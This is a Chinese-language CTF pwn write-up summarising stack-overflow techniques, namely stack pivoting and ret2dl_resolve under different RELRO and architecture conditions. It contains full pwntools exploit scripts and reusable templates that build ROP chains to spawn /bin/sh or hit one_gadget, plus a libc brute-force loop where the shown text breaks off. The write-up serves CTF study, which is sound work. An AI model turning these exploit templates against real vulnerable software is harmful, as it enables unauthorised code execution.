栈溢出总结

前言

总结复习一下各种各样的栈溢出。

一、栈迁移

美团2021-12 babyrop

1.题目简介

image-20211212144541080

  • 溢出16个字节,可覆盖rbp和返回地址

  • 存在puts等打印函数

  • 无好用gadget,只有最常见的csu

  • 存在canary,可用数据长度为0x18

  • 关键函数:

    image-20211212145246326

2.利用方式

由于没办法写GOT,考虑栈迁移之后调用puts函数泄露地址,然后进行one_gadget

(1)迁移数据

所以直接迁移到extern段之后的数据段

(2)调试调用

①栈劫持

1
2
3
4
5
6
payload = ""
payload += 'PIG007NB'*(0x18/0x8)

payload += p64(canary)
payload += p64(new_stack)
payload += p64(0x40072E)

初次栈溢出leave_ret之后劫持rbp,再进入vuln函数,借助修改之后的rbp向新栈读入数据

1
2
3
4
5
6
7
#读入数据之后溢出
payload = ""
payload += 'PIG007NB'*(0x18/0x8)

payload += p64(canary)
payload += p64(new_stack+0x28)
payload += p64(0x40072E)

image-20211212145349774

再次栈溢出修改rbp向新栈读入数据,同时通过leave_ret劫持rsp

image-20211212145552478

image-20211212150141800

同时需要注意的是,劫持rsp之后,再调用read函数时,其返回地址也会随之改变,所以我们需要劫持read函数的返回地址,通过修改的rbp即可在read函数的返回地址上读入ROP链条

▲leave-ret

相当于如下命令

1
2
3
mov     rsp rbp
pop rbp
pop rip
▲call

相当于如下

1
2
push 		rip
jmp func_addr

②读入ROP链

向read函数的返回地址读入ROP链条,这个rbp是经过计算的,由于之前的rsp通过leave-ret变为了new_stack+0x10,所以在调用call read时,压入返回地址,导致rsp变为new_stack+0x08,而返回地址也就是保存在new_stack+0x08处,所以我们需要修改新的rbp为new_stack+0x28,才能在vuln函数中向new_stack+0x08读入ROP链条从而劫持read函数的返回地址。

image-20211212151538794

③劫持vuln函数返回地址

这样在之后调用完puts函数之后就可以再返回到vuln函数中,新建一个函数栈来劫持该函数的返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = ""
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x400717)

#dbg()
sd(payload)

libc_base = u64Leakbase(libc.sym['puts'])
one_gadget = libc_base + 0x10a41c
lg("libc_base",libc_base)

payload = 'PIG007NB'*(0x18/0x8)
payload += p64(canary)
payload += 'PIG007NB'
payload += p64(one_gadget)

同样由于rbp和rsp没有改变,所以也可以通过再返回到0x40072e来劫持read函数的返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = ""
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x40072e)

#dbg()
sd(payload)

libc_base = u64Leakbase(libc.sym['puts'])
one_gadget = libc_base + 0x10a41c
lg("libc_base",libc_base)

payload = 'PIG007NB'*(0x18/0x8)
payload += p64(one_gadget)

3.总结

栈迁移的方法多种多样,需要注意的就是两个命令leave-retcall,这两个命令对栈的影响是最大的,自己比赛的时候基本都忘光了,调试了好久,同时要记住调用函数时,如果rsp被劫持了,那么其返回地址也会被劫持。

二、Ret2dl_resolve

之前做过总结,但是还是有点皮毛,这回深入总结一下,具体原理就先不说了,主要说下注意的几点事项。

1.No RELRO模式

见题目HITCTF slient

  • 可任意修改四个字节
  • 溢出长度不太够
  • 无法泄露地址
  • 无PIE

这种模式可用劫持.dynstr,也就是需要改写DT_STRTAB上的指针,使其指向fake_dynstr。在32位和64位下都是通用的。

(1)寻找.dynstr指针

1
readelf -S pwn

image-20211119171711269

找到如上图的.dynamic,其地址为0x600988,在IDA中查看。

image-20211119171809731

上图的DT_STRTAB即为所寻找的地址,其内容为

image-20211119171935731

蓝色代表偏移,红色代表需要动态加载时寻址的函数字符串的地址,之后查看对应的字符串内容。

image-20211119172058537

需要修改为如下

image-20211212165434233

我们需要做的就是劫持这个DT_STRTAB中的字符串指针。但是劫持这个指针需要满足为NO RELRO的保护级别才行,不能开启RELRO

(2)劫持指针

这里一般只能通过使用任意写来修改,或者可以借助read函数栈迁移修改rbp来劫持,将该指针修改为我们写入的system_str的地址减去0x11处,一般都是这样的,重载read函数为system函数,因为read函数一般都会有。

(3)重载函数

查找重载的plt进行调用即可,在IDA中ctrl+s即可

image-20211212165518078

1
2
3
4
5
6
7
8
9
10
11
12
13
14
strtab_addr = 0x600A08
command_addr = 0x600C00
system_str_addr = command_addr + 8

#ret2dlresolve
pop_rdi_ret = 0x4007d3
plt0 = 0x4004E0
#command_addr即binsh_addr
payload = "a"*0x38 + p64(pop_rdi_ret) + p64(command_addr) + p64(plt0) + \
p64(0)
#dbg()
p.sendline(payload)
#pause()
p.interactive()

2.Partial RELRO模式

这种模式有好几个区分度

(1)原生态的32位

即在32位架构机器上编译的32位程序,直接借助工具一把梭哈即可,详见SecconCTF2021-kasu_bof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

def start():
global p
if args.REMOTE:
p = process("./chall")
#p = remote('hiyoko.quals.seccon.jp', 9001)
else:
p = elf.process()

context.binary = elf = ELF("./chall")
libc = elf.libc

dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])

r = ROP(elf)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)

start()

off_eip = 0x88
p.sendline(b'A'*(off_eip) + r.chain())
sleep(1)
p.sendline(dl_resolve.payload)
p.interactive()
p.close()

如果换成了read函数,直接更改为r.read(0,dl_resolve.data_addr,0x400)即可

读取之后返回到plt0,之后劫持栈上数据

image-20211216141615732

通过fake_Elf32_Rel_addr来获取到fake_Elf32_Sym_addr进行重载,在之后的_dl_fixup函数中重载相关函数。

image-20211216141922860

进入system函数

image-20211216142029092

即可调用system(‘/bin/sh’)

image-20211216142052187

(2)64位机器编译的32位程序

  • 溢出长度足够
  • 存在可以输入数据的bss段

这种情况一般需要一个我们能够将数据输入到bss段的功能,从而能够直接劫持栈。原因就是在这种情况下同一段代码编译之后会出现不同的效果,代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <string.h>

char buf[0x500];

int main(void)
{
char dest[0x10];
//gets(buf);
int n = read(0,buf,0x500);
memcpy(dest,buf,0x500);
return 0;
}

①原生态32位效果

这个环境中

image-20211213105819379

②64位机器编译32位程序效果

image-20211213110012402

相比较原先的原生态,会多出来一些汇编代码,比较明显的就是lea esp, [ecx-4],这个详见Migraine殇师傅的文章

在PWN题中绕过lea esp以及关于Ret2dl的一些补充 - 安全客,安全资讯平台 (anquanke.com)

有的时候也会编译出如下代码

image-20211213205819971

这时候就需要我们灵活变通,通过修改栈上的数据,进而控制ecx,再控制esp,这样就可以直接栈迁移,从而在我们存放数据的地方进行ROP。

③通过ecx劫持esp

即如下先劫持栈到存放数据的bss段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])
r = ROP(elf)
#r.read(0,dl_resolve.data_addr,0x400)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)

stack_space = 0x280
offset_ebp = 0x28
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

payload = ''
payload += "A"*(offset_ebp - 0x10)
#pop ecx的时候esp指向该地址,将该地址赋给ecx,从而通过lea esp,[ecx-4]劫持esp
payload += p32(ROP_chain_addr + 0x4)
payload = payload.ljust(stack_space,'\x00')
payload += r.chain()

这样就能通过ecx控制esp,从而跳转到我们位于bss段上的ROP链

image-20211213215116117

之后就是类似的了。

image-20211216142835635

找到system函数

image-20211216142921537

调用对应system(‘/bin/sh’)

image-20211216143224584

🔺注

但是这里就会有点不太好,就是如果劫持之后的esp就在buf首地址附近,那么在之后的重定向过程中,会调用一系列函数,那么在生成函数栈空间的时候栈顶就会一直向上移动,从而覆盖到不能覆盖的地方,导致出错

image-20211213214635928

可以看到该地址已经在存放重定向表的LOAD段了。

image-20211213214833969

所以我们之前就设置了存放ROP链的数据在bss段首地址大约0x280的地方,这样基本就不会覆盖了,其实最好能够再长就再长一些,也不会有什么坏处。

1
2
3
stack_space = 0x280
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding:UTF-8 -*-
from pwn import *
p = process("./ret2dl_re32_gets")
elf = context.binary = ELF("./ret2dl_re32_gets")
plt0_addr = elf.get_section_by_name(".plt")["sh_addr"]

dynstr_addr, dynsym_addr, relplt_addr = map(elf.dynamic_value_by_tag,
["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])
print("plt0:", hex(plt0_addr))
print(".dynstr:", hex(dynstr_addr))
print(".dynsym:", hex(dynsym_addr))
print(".rel.plt:", hex(relplt_addr))

def dbg():
global p
gdb.attach(p)
pause()

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])
r = ROP(elf)
#r.read(0,dl_resolve.data_addr,0x400)
r.gets(dl_resolve.data_addr)
r.ret2dlresolve(dl_resolve)


# .text:0804846E lea esp, [ebp-10h]
# .text:08048471 pop ecx
# .text:08048472 pop ebx
# .text:08048473 pop esi
# .text:08048474 pop edi
# .text:08048475 pop ebp
# .text:08048476 lea esp, [ecx-4]
# .text:08048479 retn
#由于会劫持esp到buf处,所以最好留出大约0x280或以上的空间来为重定向的一系列函数
#留出栈空间,不然就可能会使得esp放到buf段上面,覆盖到不能覆盖的地方
stack_space = 0x280
offset_ebp = 0x28
buf_addr = 0x0804A040
ROP_chain_addr = buf_addr + stack_space

payload = ''
payload += "A"*(offset_ebp - 0x10)
#pop ecx的时候esp指向该地址,将该地址赋给ecx,从而通过lea esp,[ecx-4]劫持esp
payload += p32(ROP_chain_addr + 0x4)
payload = payload.ljust(stack_space,'\x00')
payload += r.chain()

gdb_a(0x08048464)
p.sendline(payload)
pause()
sleep(1)
p.sendline(dl_resolve.payload)
p.interactive()

(3)原生态64位

这个就比较正常了,一般是两种模式

①有read和泄露函数

这个就是最正常的ret2dl_resolve,直接拿模板打即可,参照bsauce师傅的模板

不过这个read换成gets好像不太好使,也可能是没设置好,回头试试

32位/64位dlresolve最全总结(不用泄露地址-执行one_gadget) - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、leave_ret地址
fpath = './myRet2dl_puts'
elf = ELF(fpath)
p = process(fpath)

offset_rbp = 0x80
#读取长度
length = 0x400
stack_size = 0x800
#main函数中找
leave_ret=0x40066A


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)

def makecall(addr, rdi,rsi,rdx,tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdi)
payload += p64(rsi)
payload += p64(rdx)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload


main_addr=elf.sym['main']
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38

cmd = "/bin/sh"
plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
dynstr, dynsym, rel_plt = map(elf.dynamic_value_by_tag,
["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
# write_got = elf.got['write']
# write_plt = elf.plt['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

lg("main_addr",main_addr)
lg("p6_addr",p6_addr)
lg("p_rdi_ret",p_rdi_ret)
lg("p_rbp_ret",p_rbp_ret)
lg("plt_0",plt_0)
lg("dynstr",dynstr)
lg("dynsym",dynsym)
lg("rel_plt",rel_plt)
lg("puts_got",puts_got)
lg("puts_plt",puts_plt)
# lg("write_got",write_got)
# lg("write_plt",write_plt)
lg("read_got",read_got)
lg("read_plt",read_plt)
lg("got_8",got_8)
lg("bss_addr",bss_addr)
lg("base_stage",base_stage)

#p.recvuntil("Welcome!\n") # 'Welcome to XDCTF2015~!\n'
#1.泄露&link_map地址
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(puts_got,got_8,0,0,tail=main_addr)
#payload+=makecall(write_got,1,got_8,8,tail=main_addr)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
#gdb_a(0x400674)
p.send(payload)
#p.send(payload)
#p.interactive()
#pause()
link_map = u64Leakbase(0)
#pause()
print 'link_map=',hex(link_map)

#2.往link_map+0x1c8写0
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
p.send(payload)
p.send(p64(0))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
#这length看具体情况,没啥用
payload=payload.ljust(length,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址

#(2)确定重定位下标
index_offset = base_stage + 7*8
align = 24 - ((index_offset-rel_plt) % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = index_offset + align
index = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
fake_sym_addr = base_stage + 13*8
align = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(puts_got) + p64(r_info) + p64(0)
#fake_reloc = p64(write_got) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr #fake_sym(Elf32_Sym结构体)大小0x10
fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_0)
payload2 += p64(index) #jmprel 下标参数
payload2 += 'AAAAAAAA' #返回地址
payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置

payload2 += "system\x00"
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += cmd + '\x00'
payload2 = payload2.ljust(0xd0,'\x00')
#gdb.attach(p,'b *0x4006ab')
raw_input('wait!!\n')
p.send(payload2)
p.interactive()

如果是puts函数则直接对应修修补补即可

②只有read和libc文件

这个最开始的题目好像是0CTF的题目blackhole2,这种情况也可以对应拿模板打,原理就是调用libc中的one_gadget来getshell。这个模板也是参照bsauce师傅的模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bstack'
elf = ELF(fpath)
libc = elf.libc
#libc = ELF('./libc.so.6')
p = process(fpath)


offset_rbp = 0x70
length = 0x100
stack_size = 0x800
leave_ret=0x00000000004006AB
#one_gadget工具来找
one_gadget = 0x4f432
vuln_addr=0x400676


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


def makecall(addr, rdi, rsi, rdx, tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload



plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
libc_start_main_addr = libc.sym['__libc_start_main']
fake_link_map=elf.got['__libc_start_main'] #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=one_gadget-libc_start_main_addr #0x4526a 0xf02a4 0xf1147
fake_r_offset=libc_bss_addr-libc_start_main_addr
# fake_st_value=0x4526a-0x20740 #0x4526a 0xf02a4 0xf1147
# fake_r_offset=0x3c5720-0x20740

val_0x68=base_stage+0xc0-8 #0x600ea8
val_0x70=base_stage+0xc0-8 #0x600eb8
val_0xf8=base_stage+0xc0-8 #0x600f28
wait_time=0.1

#print p.recv() # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
#gdb_a(0x4006AA)
p.send(payload)
#pause()
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = p64(0)#'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map) #
payload2 += p64(index) #jmprel 下标参数
payload2 += p64(0) #返回地址

payload2 = payload2.ljust(index_offset-base_stage,'\x00')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

p.send(payload2)
sleep(wait_time)
p.interactive()

③只有read时

这种情况一般需要爆破libc文件,但是需要一个库,所以还得自己准备一个比较完整的libc文件库,这里自己写了一个工具,专门用来依据libc文件库爆破,直接给出代码,这个等我啥时候有时间详细完成一下这个工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#coding:utf-8
from pwn import *
import myTool

#需修改:文件名、溢出偏移、gadget地址、各节地址
global p
fpath = './bstack'

offset_rbp = 0x70
length = 0x100
stack_size = 0x800
leave_ret=0x00000000004006AB
vuln_addr=0x400676


#p = process(fpath)
#arch = "x86-64"/"i386"
libc_list = myTool.getLibc("x86-64",version="2.27")
libcAll_path = '/home/hacker/LibcSearcher/libc-database/libcAllSo/'
elf = ELF(fpath)


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def gdb_a(addr):
gdb.attach(p, "b *{0} \n c".format(addr))
sleep(0.5)


def makecall(p6_addr,call_addr,addr, rdi, rsi, rdx, tail = 0):
payload = ''
payload += p64(p6_addr)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(call_addr)
if (tail):
payload += p64(0x0) * 7 + p64(tail)
return payload


#cat flag
def regexp_out(data):
patterns = [
re.compile(r'flag{.*?}'),
re.compile(r'xnuca{(.*?)}'),
re.compile(r'DASCTF{(.*?)}'),
re.compile(r'WMCTF{.*?}'),
re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'),
]
for pattern in patterns:
res = pattern.findall(data.decode() if isinstance(data, bytes) else data)
if len(res) > 0:
return str(res[0])
return None


def pwn(libcFile,one_gadget):
#libc = ELF("./libc.so.6",checksec = False)
#one_gadget = 0x4f432

libc = ELF(libcFile,checksec = False)

plt_0 = elf.get_section_by_name(".plt")["sh_addr"]
p6_addr=elf.sym['__libc_csu_init'] + 0x5a
call_addr=elf.sym['__libc_csu_init'] + 0x40
p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63
p_rbp_ret=elf.sym['register_tm_clones'] + 0x38
read_got=elf.got['read']
read_plt = elf.plt['read']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
libc_start_main_addr = libc.sym['__libc_start_main']
fake_link_map=elf.got['__libc_start_main'] #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=one_gadget-libc_start_main_addr #0x4526a 0xf02a4 0xf1147
fake_r_offset=libc_bss_addr-libc_start_main_addr
# fake_st_value=0x4526a-0x20740 #0x4526a 0xf02a4 0xf1147
# fake_r_offset=0x3c5720-0x20740

val_0x68=base_stage+0xc0-8 #0x600ea8
val_0x70=base_stage+0xc0-8 #0x600eb8
val_0xf8=base_stage+0xc0-8 #0x600f28
wait_time=0.1

#print p.recv() # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0x68,16,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
#gdb_a(0x4006AA)
p.send(payload)
#pause()
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0xf8,8,tail=vuln_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset_rbp
payload+='\x00'*8
payload+=makecall(p6_addr,call_addr,read_got,0,base_stage,0xd0,tail=0) #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)


#4.bss数据:rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
plt_1 = plt_0+6
#(2)确定重定位下标
align = 24 - (56 % 24) # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = base_stage + 7*8 + align
index = (7*8 + align) / 24 # base_stage + 7*8 指向fake_reloc,减去rel_plt即偏移
#(3)确定动态链接符号下标
align = 24 - ((13*8) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = base_stage + 13*8 + align
index_dynsym = (13*8 + align) / 24 # 除以24因为Elf64_Sym结构体的大小为24,得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = p64(0)#'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0) #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map) #
payload2 += p64(index) #jmprel 下标参数
payload2 += p64(0) #返回地址

payload2 = payload2.ljust(index_offset-base_stage,'\x00')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00')
payload2 += fake_sym # fake_sym_addr(base_stage+9*8)的位置
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += p64(base_stage)
payload2 = payload2.ljust(0xd0,'\x00')

p.send(payload2)
sleep(wait_time)

#----getshell-----
#no interactive
p.recv(timeout=0.5)
try:
p.sendline(b'cat flag')
flag = p.recvuntil(b'}')
except:
p.close()
#continue
if b'}' in flag:
log.success('flag: %s', regexp_out(flag))
exit()



i = 0
while True:
global p
i += 1
log.info("Times:%d"%i)
for libcFile in libc_list:
